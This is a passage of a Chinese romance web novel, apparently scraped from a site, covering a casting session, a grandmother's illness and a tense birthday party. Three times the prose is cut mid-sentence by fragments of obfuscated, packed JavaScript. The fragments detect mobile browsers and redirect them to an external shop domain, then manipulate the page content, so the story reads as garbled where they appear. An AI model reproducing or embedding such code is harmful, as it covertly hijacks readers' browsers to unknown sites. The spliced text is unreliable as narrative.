一整个下午的面试下来，江沐珂发现一个很有意思的现象，一直忍着到吃饭的时候才向周迟一问出来，“我怎么感觉来面女二的艺人要比女主角的多？” 周迟一从她身后走出来，动作慢条斯理帮着把江沐珂身上的大衣褶皱的衣领整理好，微微侧低下头，“你的感觉是对的，今天更多是女二，大多数都是新人和个体户来的，没什么代表作，可能在自信方面还需要锻炼，觉得面女主角成功率不高，改选曲线救国，慢慢从配角开始积累经验吧。” 这番话是周迟一今天从副导演那里听来的，其实更准确的答案应该是，这部戏导演更倾向于培养那些还停留在白纸阶段的新人演员，从无到有的培养，不会被太多的技巧圈住，过分公式化，流程化。 这两种社会因素和主观因素的结合，便有了今天江沐珂看到的场景。 “感觉如何，有没有觉得合适的？” 在餐厅里坐下后，周迟一双手撑在下巴处，盯着江沐珂轻声询问。 他的眼睛很好看，每次对视时江沐珂都这么觉得，仿佛里面能装下汪洋万里，也能放下爱意不尽，只不过不常见而已。 江沐珂抿着嘴巴，嘴角微鼓，真的有在脑子里仔细回想下午见到的那些女孩男生，大约有一两分钟时间才得出自己的答案。 “有吧，不过不多。” 演戏本身就是对很多普通人生活的诠释，如果一段戏并不能得到本职工作者的认可，那便是一段破绽累累，不成功的戏。 周迟一从来都是这么认为，这也是为什么让江沐珂一起来参与面试中的原因。 对待江沐珂，他从来都是很有耐心，观察她因为思考而连带出的小表情很有意思，每次周迟一都会在心里悄悄琢磨，她是怎么做出这些表情的，是无意识的吗？ 不过这些问题也只是在周迟一心里，江沐珂眼中的他从始至终都是个没太多表情变化的面色，尤其是在聊到工作中的事情时。 “我记得有个温，温……温什么的，就是和温亦同一个姓的女孩，她的那段试戏应该是掺入了一点自己的台词自由发挥吧，我觉得还挺不错的。” 温……温亦同姓，这个记忆点，还挺别致。 周迟一对她口中提到的女孩也有印象，是今天从导演口中得到认可的两位艺人中的其中一位，演技和她的样貌一样都很青涩，但充满感情，让看到的人很容易就会代入进去。 更关键的一点是，她的台词功底很强，强到即使是闭上眼睛，脑子里听到声音自动能对上相应的文字，咬字能力上是很多已经有流量、代表作的演员艺人不具备的。 “圆圆的脸蛋很可爱，而且她给我一种感觉，就好像很了解画手这个身份的具体工作内容，她的一些动作熟练到不像是演出来的”，江沐珂回想到那段试戏，当时就觉得仿佛在照镜子看自己经历过的事情，很平淡的普通工作生活，但又不会像前面几个女孩演技过重的不真实。 江沐珂继续说着她的评价，服务员正好把话送上来，周迟一轻声道谢，没有打断她说话，贴心冲餐具，倒热水，小心推到江沐珂手边。 等到江沐珂说完结束，周迟一夹一筷糖醋里脊到她面前的碗中，“你真的很聪明，今天导演也是这样评价的。” 有关这方面的事，江沐珂哪里知道什么，不过就是平时听周迟一说多讲多了，潜移默化里隐隐懂了些微。 和周迟一专业出身，以及很早进入这个行业来说，她这些可能连皮毛都算不上。 在起跑线上，周迟一就优越很多人，并且很懂得把握住这种优势，所以才能够在这么多的竞争对手里脱颖而出，成为别人艳羡的对象。 “对了，我过两天就不来了，副导演准备带我去实景拍摄地看一看，方便我事先准备需要用到的海报和其他插画作品。” 两人差不多聊完上一个话题，江沐珂捧着手中的热茶，温度透过玻璃传递到掌心，如同冬日触雪后的渐转温热，很熨帖，给这一刻的聊天对话里也添上几分温情。 周迟一先是蹙了下眉，很快舒展开，看一眼腕表确认时间，起身的同时说道，“行，到时候让羊姐给你说一下具体的规划想法，你应该会更有针对性想法。” 他相信她的能力，这是很早之前就一直有的。 江沐珂愣了一下，忽而扬唇露了笑，闪烁的目光裹挟着很多情绪。 “嗯，好。” 最近两天，江沐珂外婆身体病情转坏不好，已经接连几天没有住在家里，每每到晚上时间都会跑去医院专门照料，和舅舅他们换班轮流。 周迟一让助理开车来接，绕半个城区把她送去医院。 下车前，他的声音慢悠悠传出来，从还没有关上的车门缝隙中。 “昨天知远说医生那边他有认识的，有机会他会抽空帮忙拜访咨询咨询，你也别太担心”，周迟一撑着朦胧的双眼，脸上的倦色不比江沐珂少。 颠三倒四的跨国界和时差的视屏会议，以及本来就忙的项目工作时间安排，让他也染上疲惫。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283272|151940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江沐珂刚下车，被外面的冷空气包围，抬手轻轻拢住外套的拉链，裹着自己仰头对视，“不用麻烦知远哥的，昨天我哥和舅舅他们说已经挂上省专家号了，外婆的病情还有待商榷，我没事的，真的。” 接连几天的陪护，促使江沐珂的精神和皮肤状态都很明显的有所下降，是口头上的强撑安慰掩盖不住的憔悴。 周迟一抿下嘴唇，欲言又止，最后选择沉默。 外婆对江沐珂的意义很重要，虽然不知道原因，但周迟一还是选择了尊重，轻轻点头表示听到她的话。 最近一段时间，冷空气降得快，江沐珂在医院门口快步走去，转身之后再也没有回过一次头。 周迟一坐在车里，视线一直紧随，看着冷风不讲道理地把大衣衣摆吹起，又被江沐珂用用手按下，如此反复拉扯。 昏暗的后座里，周迟一一双眸子深如泼墨般黑夜，嘴唇紧闭没有什么表情，什么话也没说，却仿佛将车内的空气都降了几个度，弥漫着紧张的气氛，让人不自觉地屏住呼吸，怯于打破这份安静， “走吧，回公司。” 得到老板的开口指示，陈林悄悄松一口气，眼角的余光偷摸从后视镜里瞄过，忍了很久还是没有忍住，“老板，真的不去看看吗？” “不去了，今天又没带礼物，不合适，而且这个时间太晚了”，周迟一周身放松，往后靠去，再次合上双眼。 时间点太晚，可其实每次有空闲下来的时间也只有这个时间段，所有的条件所限，每次周迟一都只是停在医院门口，目送着江沐珂心急火燎地或走或跑进医院住院大楼。 只是今天和以往很不相同而已，他的主动施以援手帮忙分担，被她亲描淡写推脱掉罢了。 周迟一闭上眼睛不再想这些事，更多的是工作上的事，江沐珂那边还有她哥哥舅舅他们，总会能让事情过去的。 他和他们不同，他的身边只有自己，所有的担心唯有自己扛。 这么想着，没多会儿便在陈林平稳的车技中睡着小憩。 从一个旁观者的角度来看，陈林应该是和江沐珂接触最多的人，甚至超过徐知远。 在他看来，自己老板和江沐珂的确很合适，两个人的脾性上都有很强的包容性，工作上有时候也能做到互相配合搭档，这是很多人都想要而得不到的。 然而，这种你来我往的相处模式里，似乎总存在着哪里不太合理。 就好比，周迟一送的很多礼物，江沐珂一定是有来有往的，而且在一些代表着羁绊很深的物件例如挑选衣服款式，帮忙搭配衣服上，两人则是谁也不会掺和对方的。 在出门或是行程的一些报备上，从来不会出现一方询问，一方才说的情况，永远都是第一时间就会告诉彼此，这样的方式更像是工作报备，反而少了恋人间的甜腻。 还有更重要的一点是，印象中，陈林从跟着周迟一开始，就好像没有见到过江沐珂生气，或是心情不好，仿佛每次见到都是一副开朗小太阳的乐观形象。 这其实和他了解到的恋人相处情况不同，见识过自己表弟爱得死去活来的恋情，陈林一直都认为轰轰烈烈才是甜蜜恋爱的正解，细水长流固然也是一种方式，但那都是共同经历过很多事情之后才会有的结果。 关于周迟一和江沐珂，陈林有很多疑惑。 可惜他的这种疑惑注定得不到解答，周迟一淡漠的性格，本就让人琢磨不透他的想法，更遑论这些与工作本就无关的不紧要的隐私话题。 目光止于周迟一垂在眼睑的睫毛上，疑惑按捺在心里，并不太期待这个不是太必要的答案。 绿灯亮起的一刻，陈林继续行进在回公司的路上…… 8. 庆生会 生活中遭受的磨难不会因为你是谁，又或是你做过什么而改变它本来的发展走向，意外和惊喜没有人知道哪一个会先来到，因为它的名字叫意外。 江沐珂已经和周迟一有一个周的时间没有见面了，外婆病情的突然急剧恶劣，让她不忍心离开很久，所有的工作安排都往后延推，也包括周迟一的生日。 【热可可】：生日快乐，我尽量早点会到的。 庆生会这种场合，周迟一其实并不太喜欢，但架不住身边有阎槐这样的狐朋狗友，是断然不会放弃任何一个聚趴的机会的。 庆生会的主角是周迟一，但是组织者不是周迟一，也不会江沐珂，反而是阎槐。 在公司附近的新公寓里，阎槐和现任女友一起，拉着徐知远，还有其他几个三两好友布置着庆生会现场，蛋糕，酒水，礼物一样都不能少。 早在一个月前，江沐珂就已经准备好生日礼物，包括送出的仪式感流程都计划得很好，偏偏事不赶巧，眼下外婆的病情更紧要，从市第一医院转移到省第一医院，江沐珂始终都陪在左右。 距离生日的时间在缩短，江沐珂独坐在外婆的病床前，盯着床单发呆，内心里陷入很深的纠结中。 他们在一起本来就不会像别人一样过很多节日意义的日子，实在要说的话，生日和每年的纪念日便是最大的，所以江沐珂不想错过。 她本人是一个很喜欢惊喜和仪式感的人，在对待身边人时，也会以自己内心所期的样子对待他们，不会想错过每一个她自己都会认为重要期待的节点。 庆生会当天，江沐珂给外婆喂完中午饭，草草和江沐言打了个招呼，搭乘最近一班的高铁回徐江，临时联系正在休假的朋友接她，希望能够赶上晚上的庆生会。 礼物都还放在自己的画室里，为了保密从没有出现在家的任何角落。 画室和周迟一公寓的方向完全不顺路的方向，叶弥嘴上骂骂咧咧嘟囔，手上方向盘的转弯动作一点都不含糊，“你说说你，就不会早点告诉我，我还能提前去帮你拿，现在我们两个要一起跑回去拿，也不知道周迟一那边你还赶不赶得及。” 刚坐上车，叶弥听到她报出来的新地点，眉梢拧巴得如同打结，瘪瘪嘴角用着口是心非的语气说教。 刚休假的前两天，叶弥不是没约过江沐珂，但都被她以照顾外婆为由拒绝。 叶弥表示很理解，毕竟外婆对江沐珂来说有多重要，她完全明白。 那个时候哪会想到，意外没买到机票在家摆烂的休假时间，竟还会有被好友拉出门当司机的时候。 “我的天啊，周迟一以后如果不好好请我吃顿大餐，这都说不过去，我为了你们两个可是牺牲了今天的相亲的”，叶弥稍稍侧一点脸，斜着睨一下江沐珂，眼神里藏着数不尽的笑。 江沐珂看一眼手机时间，抬头扯动嘴角，“得，回头你想吃什么，我都带你吃行不行，还有啊，这相亲怕不是你巴不得鸽掉的吧，这锅我可不接，谁爱做这背锅侠谁做，我不做。” 还有心情开玩笑，那就是状态还OK。 叶弥嘴角轻轻弯起，没有多说什么，专注开车的同时唤醒车内的智能助手，播放一首江沐珂最近明显很喜欢的歌。 “咦，你也喜欢听他的歌？” 江沐珂听出嗓音的主人，心情跟着放松减压许多，结束小声哼唱发问。 叶弥一个老理工科的工程师了，哪会关注这些东西，说股票财经她都知道得比这多。 面对江沐珂的疑惑，叶弥故意卖好半会儿关子，在江沐珂的软磨硬泡撒娇下才说出其中原因，“还不是你微博自己发的，那么多人设图和高清图，我想不认识这人也不是太可能了吧，不过你还真别说，长得确实挺帅。” “那天会议开小差，我还专门搜过他呢，挺有才华的，果然帅只是这种佳人才子锦上添花的其他方面”，叶弥歪头想起当时看到这条微博时的一些心里想法，丝毫不吝啬夸赞。 有能力、有才华的人都会抱着一种惺惺相惜的态度看待对方。 江沐珂如捣蒜般点头，狠狠赞同叶弥这句话，宛如一个小迷妹似的开始疯狂向她安利新墙头温亦。 因为外婆病情的低沉情绪，经过叶弥的插科打诨短暂地转移注意力，跟随着车内音响的动静开启嗨歌模式，全身心地忘我沉浸放松。 另一边，周迟一刚从某高校离开，与团队里的其他成员对接好工作，揭开工作的壳子后露出内里布着疲惫的神情。 他不喜这种热闹的场面，但是已经很久没有见到过江沐珂了，他有点想见她，不喜欢的庆生会有朝一日也成为他期待的事情。 周迟一浅浅勾一下嘴角，“陈林，一会儿在乐茶那里买点面包打包回去，巧克力口味和……” “柠檬口味”，陈林利索接上。 这都是江沐珂喜欢吃的口味，一直以来也最喜欢吃的一家面包店，很多时候她在肝画稿时随时随地方便咬上一口，因着这个原因，陈林没少在这家店帮着打包带回去。 在医院里照顾外婆，她肯定会更加不注意自己的身体，也不知道能不能吃好，正好见面后能够让江沐珂带回去些。 周迟一带着这个想法，点开手机看到中午那会儿时间两人的聊天对话。 【周迟一】：知道了，路上慢点。 很简单的你说我答的聊天记录，与之前比着并没有什么不同，但是现在再看一遍，总觉得哪里都不太对，可又具体说不上来。 这种怪异的疑惑一直持续到达公寓，一向精明如周迟一，也在这种莫名其妙的想法上栽了跟头。 “一起上去吧，吃点喝点去”，周迟一拿了外套，看一眼陈林纹丝不动，并不准备打开安全带的样子，抬手捏一下鬓角，语气缓和轻飘飘说着。 看出陈林的犹豫，周迟一摆摆手，“就是个聚趴饭局，不用在意那些形式，走吧，一起上去。” 公寓阳台上，周末的眼神出奇得好，趴在阳台上已经能够辨识出楼下两人的身份来，扬着胳膊不停挥动，大嗓门在这种时候表现得淋漓尽致。 “哥，陈林哥，你们两个怎么还不上来，我都看好一会儿了？” 从楼下到楼上也不过就是五六分钟的时间，公寓门口已经留出一条门缝，透出客厅里的光线，以及乱槽槽的聊天说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283273|151940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话声。 最明显的是阎槐和温亦两个人抬杠的声音，旁边隐隐还能听到周末故意拱火的小动静，这种时候一般不会看到徐知远掺和，他那种坏心眼的家伙从来都是憋着坏。 周迟一听着声音动静，在心里盘算着今天会出现的人名单，果然是损友一个不落。 “哎，珂珂姐给我打电话了，你们都赶紧闭嘴！” 脚下的动作被周末这一声高呵止住，和客厅里其他几个人一样，噤声安静。 周末取出嘴边咬着的牙签，直接点了免提，手机音量拉到最大，门外门内的人都能听到声音。 “末末，我这边有点堵车，可能会再晚些到了，你们一会儿先开始玩吧。” 江沐珂看一眼手机导航上显示的红色路况，无奈头疼，越不顺心的时候就越多更加不顺心的事蜂拥而至。 眼下正是下班的时间节点，再重新规划换路线也是无济于事，公寓的位置根本不可能绕开堵车的情况。 叶弥借着堵车的功夫，轻轻拍一下江沐珂的肩头，安抚她有些许开始急躁的情绪。 “没事的，反正我哥也没回来呢，等你来了我们再切蛋糕，怎么也不会把你落下的”，周末坐在沙发的一边扶手上，旁边是从小一起长大的冤家兼死党，自然地接过他递来的水杯，温温的刚好可以缓解口渴。 阎槐小步挪到周末身侧，压低声音小声嘀咕，“也不知道刚在楼下看到的是谁，可能是某个同父同母的陌生人吧。” 什么热闹都要来凑一脚，周末踢掉脚上的拖鞋，正对着阎槐小腿肚的位置就是一脚，力度不算大，但是刚刚好，能够让阎槐差点忍不住叫出声的程度。 哑巴吃闷亏，食指一直在不停指点，咬着牙拖着略微泛酸的那只腿朝门外去。 公寓门一打开，阎槐和周迟一大眼瞪小眼，连连转头往房间里看，有种莫名被这对兄妹狠狠欺负的感觉。 没等阎槐张口说话，陈林很有眼力劲地关上门，将门内的视线隔绝在里面。 给老板打掩护这种事，一回生二回熟，次数多了应急能力也就锻炼出来了。 阎槐张张嘴，紧接着又闭上，嘴角的弧度仿佛在表达很多种情绪，无论是哪一种，绝对不是高兴的那种。 “陈林，我给你双倍工资，来给我当助理答不答应？” 陈林眼观鼻鼻观心，两步挪到周迟一身后，不看也不说，努力把自己置身事外，这把火可不能飘到他的头上。 在刚刚关门的瞬间，周迟一就已经收回目光，好整以暇的轻松表情目睹阎槐所有的神情变化，“你这就不厚道了吧，撬墙角都撬到兄弟面前了。” 嘴上这么说着，两个人谁也没有当真，输了密码一起回公寓里。 “生日快乐，迟一。” 徐知远笑着说。 “生日快乐，老哥你又老一岁咯！” 周末挑着眉梢，捣蛋语气说。 “生日快乐，我谈恋爱路上的绊脚石。” 这句是阎槐故意趴在他耳边犯欠地说道。 等所有人的声音逐渐结束，客厅安静下来后，还有一个声音缓缓送出祝福。 9. 切蛋糕 江沐珂的声音有些许断断续续，是过隧道时网络数据变差的原因导致的，在公寓里其他众人其实只听到后两个字“快乐”，顺着正常逻辑往前推，只能是生日两个字被卡顿的网络吃掉。 所有人都保持着安静，反衬得江沐珂轻柔的声音通过电话，回荡在公寓客厅。 本以为已经挂断的电话出乎意料的始终保持着接通的状态，周迟一呆愣一下，下一瞬即刻反应回神，第一时间看到桌子上横放着的超鲜艳粉色毛绒手机壳，两三步快步走到旁边，正好能接上江沐珂后面说话声结束时的空拍。 “你们路上小心点，不用着急，让叶弥也一起来吧。” 周迟一见过叶弥，是在大学时，江沐珂从小一起玩到大的发小，当时专门跨省来给她过生日，自己的原因还差点让人女生跑个空。 因为这个小插曲在，叶弥似乎一直对他都是不怎么友好的态度。 回答也果然不出乎意料，叶弥直接在电话里就拒绝了周迟一的好意。 叶弥瞥一眼手机导航上的距离，没有任何思考，毫不犹豫直接回绝，“我就不去了，我一会儿还有亲娘安排的相亲呢，你们庆祝就好了，周总生日快乐，事业蒸蒸日上。” 电话祝福词里的敷衍口吻，主要有心的人，都不难听出语气里的异样。 徐知远坐在沙发上默默换了个姿势，眼神意味深长转向周迟一，一直到电话挂断都没有再说话，即使阎槐在旁边时不时在碎嘴的不停搭话。 不得清净的耳根子在捕捉到某个人名时恍然间清醒，徐知远轻松的面色猛然间变了色，单手搭在阎槐小臂上，语气里隐约能听出些许着急。 “你刚刚说你告诉了路贝贝也一起来？” 阎槐手上刚倒好一杯饮料，正要喝几口下楼去接路贝贝来着的，胳膊上突然而至的重量险些让他拿不稳水杯撒出来。 面对经常帮自己收拾烂摊子的好兄弟，阎槐到嘴边的坏脾气，愣是在接触到徐知远严肃的目光后，变得偃旗息鼓，“啊？嗯，是啊，前天在四哥的酒馆里遇见就聊了几句，正好提到今天的安排，就约好一起来了。” 花花公子的确也就只是个花花公子，遇上个更有心眼的人，阎槐能被骗得连裤衩都不剩，也就是这些年，他大哥看得比较严才没有真的被有心之人骗了去。 徐知远右手搭在自己左手腕上，轻轻摩擦，目光从阎槐身上转移到周迟一身上，他刚放下手机，听电话里的意思，江沐珂估摸着还有五分钟就能到这里。 “她还有多久到？” 没有提名字，他们两个都知道在说谁，阎槐扬了扬手机，上面正是两个人对话的页面。 【贝贝】：还剩一个路口我就到了，大概五分钟吧。 也是五分钟…… 徐知远不觉得这是什么好的时间节点，都是五分钟，最不凑巧的情况两人在同一时间在楼下相遇，这也不是没可能。 周迟一注意到徐知远奇怪的表情，直接一掌拍在他肩上，“怎么了，看你心不在焉的？” “就是啊，我和他说话，都不理我的”，阎槐一点不嫌事大，在旁边告着不合时宜的状。 徐知远不怀好意瞄一眼阎槐，故意侧一下身，在周迟一身侧以最低的音量说，“这个不省心的把路贝贝也叫来了，差不多五分钟后到。” 路贝贝，很久之前频频出现在生活中的名字，而现在是重新刚出现在生活中不久的名字。 周迟一只皱了一下眉头，没有说什么，只是简单地问了一嘴，“准备的东西都够吃的够喝的吧？” 阎槐不太懂徐知远在思考些什么东西，对周迟一的问题第一时间给出答案，“包够的，也不看看是谁准备的，只许多绝不可能不够。” “一会儿下楼接人你自己去，迟一是去接珂珂的。” 阎槐很不理解徐知远到底是从哪里来的不友好，这不都是他们之前的朋友吗，现在怎么连提起都像是在踩雷点。 温亦手里拿着自己刚刚和周末比吹气球吹起来的气球，满脸得意地晃悠过来，什么热闹都要凑上一下，“你们在说什么，接老周女朋友，我的粉丝吗，我也要去，还要把我人生中吹起来的第一个气球送给她，以示诚意。” 话音刚结束，温亦的头上就迎来一个脑门弹。 周末满脸嫌弃，把刚弹过脑门的手不停在身侧的衣服上擦拭，“吃了几盘花生米啊，喝这么醉，那上面都是你口水，埋汰死了，你还真把它当宝贝呢。” 正说着话呢，周末手上动作就已经开始，作势要把温亦的气球捏爆，从根源上消除这种埋汰的产物。 你追我逃，你夺我闪的场面在客厅里上演，缓解不少徐知远他们这边的气氛。 “滴滴滴” 门口输入密码的声音在这种乱糟糟的环境里响起，出奇的明显，让人没办法忽视。 江沐珂推开门，眼前看到的就是这样一幕。 周末正拉着温亦身上的布偶装饰，另一只手向上他手中的气球，在周末身后，孟时野距离差不多两步很近的距离，单手张开，以防周末摔倒。 另一边，阎槐低着头看手机，手指在上面飞快打字，估计又是在和哪个朋友聊天，徐知远和周迟一待在一处，没有在说话，猜不出在干什么。 在客厅最中间，是江沐珂最喜欢的大狗狗，坐得乖巧听话，开门的第一时间直冲她跑来。 白色的萨摩耶白菜，已经从江沐珂去医院开始，便被送到徐知远那里帮忙照顾，这么算下来已经有一周多时间没见到她了。 狗和主人的亲昵场面，在所有人面前上演。 温亦羡慕得心痒痒，他刚刚见到白菜时，就没有得到它这么热情的待遇，果然双标不只是出现在人身上，狗也不例外。 “好啦，白菜乖”，江沐珂半蹲下来，一手搂着，一手不停给它顺毛，好半天才算把这小祖宗安抚安静。 手里还提着给周迟一的生日礼物，被白菜蹭来蹭去，差点从手里被蹭滑掉落。 温亦适时出现在江沐珂旁边，绅士伸出一只手，“我来帮你拿吧。” 精致的外包装，不用拆也知道这里面一定是今天主角的专属礼物。 两人对视一眼，最后反而是温亦率先稳不住，仓促转移视线，把目光都放在白菜身上。 刚刚还一口一个粉丝的，这会儿时间就没了大放厥词时的猖狂状态，反倒多了几分心虚徜徉其中。 “那……那什么，下次想去演唱会可以直接让周迟一告诉我的，我给你前排票”，温亦有些扭捏地挠头，磕磕绊绊好不容易说个完整。 演唱会的戒断反应的确是持续过很久，但是到现在这会儿时间已经缓和很多，江沐珂微仰头与温亦对视，没忍住在心里感叹他建模的脸。 女娲娘娘偏心得离谱，给了他唱歌和创作的才华也就算了，就连颜值也是偏心得很。 演唱会大屏幕上的镜头已经足够高清，而当没有妆容加持的素颜出现在眼前时，更让人止不住的赞叹。 “或者，咱们两个加个微信，什么时候想看直接告诉我也行”，温亦轻抚手边的白菜，耳根子隐隐冒出些许粉红，“我还挺喜欢你在微博上画的那些图的，特别可爱好看。” 迟迟得不到江沐珂的回应，温亦内心戏多到自我洗脑的程度，思维的无限发散止于下一秒。 江沐珂把礼物放在玄关，弯腰换鞋子前，手机被她放在玄关台上，屏幕上面正显示着好友添加二维码。 嘴上说不如实际做，心动就行动，这是江沐珂从周迟一身上学会并改变的第一点。 “备注江沐珂就行”，江沐珂经过温亦身侧时留下这句话，继续朝客厅桌子案台附近去，她的礼物和其他人的放在同一处，“生日快乐，周迟一。” 正式的场合里，江沐珂大多都以全名相称，双目紧盯着他，送出这场庆生会上来得最迟到的一声祝福。 在生日歌的欢快奏唱里，周迟一手持刀叉将蛋糕分切开来，第一块蛋糕自然而然递到江沐珂面前。 “你最喜欢的冰淇淋蛋糕，这块上面水果多，先给你”，周迟一侧头讲话，并没有降低音量，桌子旁边的每一个人都能清楚地听到，并且字字清晰。 周末最喜欢在这种场合凑热闹，即使有孟时野在旁边阻止提醒，也没有先于她说话时拦下。 周末嘴里嚼着不知道从哪里拿出来的大青枣，丝毫不耽误她说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283274|151940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挖苦人，“哟，我也爱吃水果奶油呢，哥你怎么不给我也挑一块啊？” 周迟一抬头从周末身上扫过一眼，没有接话，转头从另一边给江沐珂拿过来一杯果汁，也是她喜欢喝的柠檬汁。 所有的吃的喝的都是依着江沐珂的喜好准备齐全的，在其他人眼中简直就是标准典范男友，单单是这一点阎槐在旁边瘪瘪嘴角，自愧不如，而且深深的表示，他这辈子都不可能像周迟一一样做到这个程度，除非他脑子被驴踢了。 蛋糕被分得刚刚好，还有一块是还没到场的路贝贝的，徐知远贴心地推到阎槐那块旁边，美其名曰，他帮忙看好保管，省得被周末抢走吃了去。 在好甜口这方面上，周末和江沐珂有着出奇的相似，周迟一认为这是她们两个关系处得很好的其中一个重要原因。 碍着这个原因，很多时候出差，周迟一带回来的当地特产里最多的一种便是各色各样的糖果，软糖，硬糖，夹心糖，什么口味的都有。 想到这些，周迟一嘴角不禁扬起弧度，很小幅度，轻易察觉不到。 “嗯？还有人没到吗？” 门口的门铃蓦然响起，吸引走所有人的注意。 在他们当中，只有阎槐，徐知远和庆生会主角知道外面的人会是谁，至于其他几个人对此，皆是一脸茫然，只是这其中并不包括江沐珂。 在她看来，周迟一的社交圈很大，也很杂，没有人能准确说出来哪些是如徐知远、阎槐一般的重要朋友，占据生命很长一段时光的感情，所以今天无论是谁来。都不会意外。 阎槐最先动作，放下手中的水果，边朝门口走去，边随手整理自己的头发和衣服。 果然是靠脸混圈子的人，无时无刻不在意自己的外在形象。 江沐珂眼瞅着他路过玄关时，刻意侧着头对镜子停顿整理几秒才慢慢悠悠搭上门把手开门，这一整套流程下来想忍住吐槽，都不是件太容易的事。 “她怎么来了？” “迟一不介绍一下？” “嗯？” 不同的人不同的反应，周末不喜的反应表现得最明显，相比之下，孟时野只是简单皱下眉头，很轻的动静发出一个单音节疑惑。 只有温亦的反应是最正常的，江沐珂和他相同的反应，同时把目光转向周迟一，他的主场，他肯定熟识。 认识这么久，这个女孩是第一次见。 没有及时得到解答的目光，很自然地飘向徐知远，他肯定也是知道的。 其实想知道答案，完全可以问周末，但带着主观情绪的解答，一定不是最客观的，江沐珂不想。 徐知远微敛神色，刻意地提早避开江沐珂的眼神对视，很明显的态度——别来问我，我什么都不会说的。 “迟一，生日快乐”，路贝贝被阎槐迎进客厅，手里提着路贝贝专门准备的礼物盒，听着她说话，“工作结束得比较晚，来得晚了点，祝福应该还不算迟到吧？” “怎么会，刚切完蛋糕，我觉得你还挺准时的。” 徐知远双手摊开，搭在沙发上，下巴微扬，从他的角度刚好能看到客厅里所有人的表情变化，漫不经心丢出这么一句话。 不知道是不是江沐珂的错觉，她总觉得这句话听着带着股火药味，夹枪带棒的，很有阴阳怪气那味。 可是按道理，绅士如徐知远，极少数，最起码在这么多人在场的情况下，他应该是最不会做这种事，说这种话的人才对。 江沐珂双手捧着饮料杯，微微抬手，对着嘴唇一小口借着一小口的轻抿，有点摸不清眼前的具体情况，不太好开口说什么。 阎槐对她的态度热情，徐知远对她的态度冷漠，甚至带着很多成分的不满，周末更是如此，连正眼都不愿意多给一个。 所有人当中，只有孟时野相对还好，公式化客套浅笑过后，他的态度也同样耐人寻味。 在答话之前，周迟一的目光从江沐珂身上扫过，最后才落到路贝贝身上，眼底的波澜变化都在抬眸的一瞬间被敛去，让人看不出他的任何情绪变化。 赶在周末口无遮拦之前，周迟一主动上前几步，简单一句话把空气中潜藏的不和谐因子缓和许多。 10. 祝贺卡 “不晚，不晚的，切着你的那一块蛋糕呢。” 周迟一抬手一指，是阎槐刚刚坐的位置，两块蛋糕离得很近，一块上面已经插过一根叉子，一块上面完整什么都没有，一眼便能辨识出哪个会特意留出来的。 路贝贝笑着环视客厅，找到专门给礼物留出的的空间，在一个折叠的小方桌上，上面铺着一层小碎花桌布，很不符合对周迟一的固有印象。 寒暄过后，周迟一本着主人翁的身份，对其他人挨个做介绍。 “他是温亦，你应该在手机上经常见到”，温亦离得最近，理所当然便被排在第一位。 江沐珂早在路贝贝刚进来的时候，就已经被周末拉到一边，啃着一根胡萝卜，表情不能说狰狞，但也绝对算不上和谐。 今天来的人其实并没有很多，其中又有很多都是路贝贝早前就认识的，周迟一挑着捡着简略式的介绍。 面对周迟一的介绍，阎槐表现得最为捧场，徐知远只是微闭眼点头，什么话也没说。 过去某一天的争执拌嘴的记忆在一瞬间惊醒，扰得江沐珂心神难以复平。 好像的确是有这么个人，曾不止一次的存在于阎槐口中，而每次都是不经意间的转移话题，用更加吸引人注意的事情成功跳过话题。 等到周迟一走到自己面前时，江沐珂表现出最合适的微笑，略过周迟一的目光，与路贝贝相视一笑，什么话也不准备说。 “我来介绍，这是我嫂子，江沐珂。” 周末手里还拿着没来得及吃完的半截胡萝卜，说话时依稀能听出她口中有没嚼完咽下去的胡萝卜，导致她一个播音专业的学生退化至吐字不清。 应该不是错觉，江沐珂这点眼力劲还是有的。 她有看到路贝贝嘴角的弧度呆僵住，很短暂的刹那，下一瞬便被甜美的笑容遮盖，仿佛刚刚看到的只是恍惚间的假象。 “我在国外时就经常在想，像周迟一这种从小一直冷冰冰到大的人，究竟会是什么样的人才能把他圈住，甘心围着一个人转”，路北北的目光从江沐珂身上重新回到周迟一身上，很快又再次移到江沐珂得到方向，与她对视。 右手旁侧，周末的冷哼声几乎要压不住，江沐珂单手拽扣住周末的衣角，拦下她没做出的动作。 江沐珂抓起周末的手指，在手中把玩，她的手指很细很长，之前在看周末直播手握话筒时便已经发现了。 双眼卷着笑意，说话声和玩手指美甲的动作同时进行发生。 “纠正一下，没有人能够圈得住另一个人，我不能，周迟一不能，其他别的什么人更不可能做得到”，江沐珂没有直接回答她的话，反而从另一种角度，类似抠字眼的方式进行搭话。 